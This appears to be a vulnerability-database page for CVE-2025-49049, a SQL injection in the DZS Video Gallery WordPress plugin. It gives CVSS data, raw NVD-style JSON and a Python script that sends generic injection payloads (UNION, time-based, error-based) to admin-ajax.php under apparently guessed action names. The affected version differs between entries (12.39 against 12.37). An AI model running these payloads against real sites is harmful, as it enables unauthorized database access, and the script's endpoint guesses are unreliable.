Security Vulnerability Report
中文
CVE-2025-49049 CVSS 8.5 HIGH

CVE-2025-49049

Published: 2026-01-22 17:15:56
Last Modified: 2026-04-27 20:16:10

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ZoomIt DZS Video Gallery dzs-videogallery allows SQL Injection.This issue affects DZS Video Gallery: from n/a through <= 12.39.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

DZS Video Gallery <= 12.39

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-49049 PoC - DZS Video Gallery SQL Injection Discovered by: [email protected] """ import requests import sys def test_sql_injection(url): """ Test for SQL injection vulnerability in DZS Video Gallery """ # Vulnerable endpoint - typically in ajax actions or shortcodes target_url = f"{url}/wp-admin/admin-ajax.php" # SQL injection payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -", "1' AND SLEEP(5)-- -", "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)y)-- -", ] # Common parameter names used by the plugin params_list = [ {"action": "dzs_get_video", "id": ""}, {"action": "dzs_search", "s": ""}, {"action": "dzs_get_category", "cat": ""}, ] print(f"[*] Testing target: {url}") print(f"[*] CVE: CVE-2025-49049") print(f"[*] Vulnerability: SQL Injection in DZS Video Gallery <= 12.39\n") for params in params_list: for payload in payloads: test_params = params.copy() for key in test_params: if test_params[key] == "": test_params[key] = payload try: print(f"[+] Testing: {test_params}") response = requests.post(target_url, data=test_params, timeout=10) # Check for SQL error indicators if any(err in response.text for err in ['SQL', 'mysql', 'syntax', 'Warning', 'Notice']): print(f"[!] Potential SQL injection detected!") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Basic tests completed. Manual verification recommended.") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-49049.py <target_url>") print("Example: python3 cve-2025-49049.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49049", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:55.650", "lastModified": "2026-04-27T20:16:10.157", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in ZoomIt DZS Video Gallery dzs-videogallery allows SQL Injection.This issue affects DZS Video Gallery: from n/a through <= 12.39."}, {"lang": "es", "value": "Vulnerabilidad de neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL') en ZoomIt DZS Video Gallery dzs-videogallery permite la inyección SQL. Este problema afecta a DZS Video Gallery: desde n/d hasta &lt;= 12.37."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/dzs-videogallery/vulnerability/wordpress-dzs-video-gallery-plugin-12-37-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}